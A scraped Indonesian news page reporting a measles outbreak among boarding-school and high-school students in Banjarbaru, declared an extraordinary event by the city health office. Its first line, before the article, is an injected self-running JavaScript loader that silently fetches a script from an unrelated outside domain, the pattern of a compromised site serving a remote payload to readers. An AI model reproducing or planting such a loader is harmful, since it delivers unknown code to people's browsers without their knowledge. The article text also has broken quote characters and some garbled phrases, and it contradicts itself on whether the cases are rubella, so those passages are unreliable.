(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
BANJARBARU, Kasus campak di Banjarbaru kini semakin marak terjadi. Hingga Kamis (6/9), jumlah kasus campak di Banjarbaru kian bertambah.  Kepala Dinas Kesehatan (Dinkes) Kota Banjarbaru, Agus Widjaja pun membenarkan kejadian tersebut.
Sebanyak 49 kasus menimpa anak usia sekolah SMP di Banjarbaru. Semua penderita diketahui adalah santri perempuan. Adapun dua pondok pesantren (ponpes) di Banjarbaru terdeteksi santriwatinya terserang rubella yaitu 30 di pesantren satu dan 19 di pesantren dua.
Kepala Dinas Kesehatan (Dinkes) Kota Banjarbaru, Agus Widjaja menjelaskan penyakit tersebut bukan campak rubella atau campak jerman. Melainkan hanya campak biasa.
“Itu bukan campak rubella tapi hanya campak dan biasa terjadi,†ungkapnya.
Untuk mengantisipasi penyebaran campak hal tersebut Dinas Kesehatan melakukan karantina terhadap anak-anak yang terjangkit penyakit tersebut dan tidak diperbolehkan melakukan aktifitas bertemu dengan teman-temannya di sekolah.
Belum selesai sampai disitu, kasus campak kembali terjadi Kamis (6/9) kemarin. Kali ini, 9 orang siswa SMAN 2 Banjarbaru yang terkena serangan campak rubella. Hal ini membuat Dinas Kesehatan Kota Banjarbaru menetapkan kasus campak di Banjarbaru masuk dalam kategori kejadian luar biasa (KLB).
Perlu diketahui, anak yang pada saat bayi sudah mengikuti imunisasi campak bisa saja tertular campak lagi diusia remaja dan dewasa karena antibodi yang diberikan melalui imunisasi mulai menipis. Meski begitu campak yang dialami oleh anak yang pernah melakukan imunisasi dan tidak pernah sama sekali akan berbeda gejalanya. Pemberian vaksi harus diberikan ulang setelah anak mulai besar.
Selain itu Agus juga menjelaskan pihaknya akan lebih memastikan penyakit yang diderita pulang anak di. Banjarbaru campak biasa atau rubella, denganmengirim sampel darah penderita campak ke Dinas Kesehatan Provinsi Kalsel dan selanjutnya sampel darah tersebut akan diperiksa di laboratorium di Surabaya.
“52 sampel darah kita kirim ke Laboratorium untuk memastikan secara ilmiah campak murbeli atau juga ada kandungan rubella di dalamnya. Yang ditakutkan kalau mata merah dari campak dan infeksi, maka bisa terjadi kebutaan. Untuk itu perlu diobati,†jelasnya.
Dari pantauan terakhir kondisi puluhan anak tersebut sudah mulai tahap membaik namun masih harus tetap dirawat.(rico)
KANALKALIMANTAN.COM, BANJARBARU - Tahun ini, Generasi Happy mengusung format online-offline-online untuk memberikan pengalaman yang menyeluruh… Read More
KANALKALIMANTAN.COM, BANJARBARU - Indosat Ooredoo Hutchison (Indosat atau IOH) melalui brand Tri melanjutkan rangkaian program… Read More
KANALKALIMANTAN.COM, SURABAYA - PT PLN (Persero) Unit Induk Penyaluran dan Pusat Pengatur Beban (UIP3B) Kalimantan… Read More
KANALKALIMANTAN.COM, JAKARTA - Pemerintah memberlakukan tambahan pajak baru untuk kendaraan bermotor mulai 5 Januari 2025.… Read More
KANALKALIMANTAN.COM, BANJARMASIN - PT PLN (Persero) Unit Induk Penyaluran dan Pusat Pengatur Beban (UIP3B) Kalimantan… Read More
KANALKALIMANTAN.COM, MARTAPURA - Memasuki pengujung 2024 ini merupakan pengujung masa jabatan pula bagi pasangan Bupati… Read More
This website uses cookies.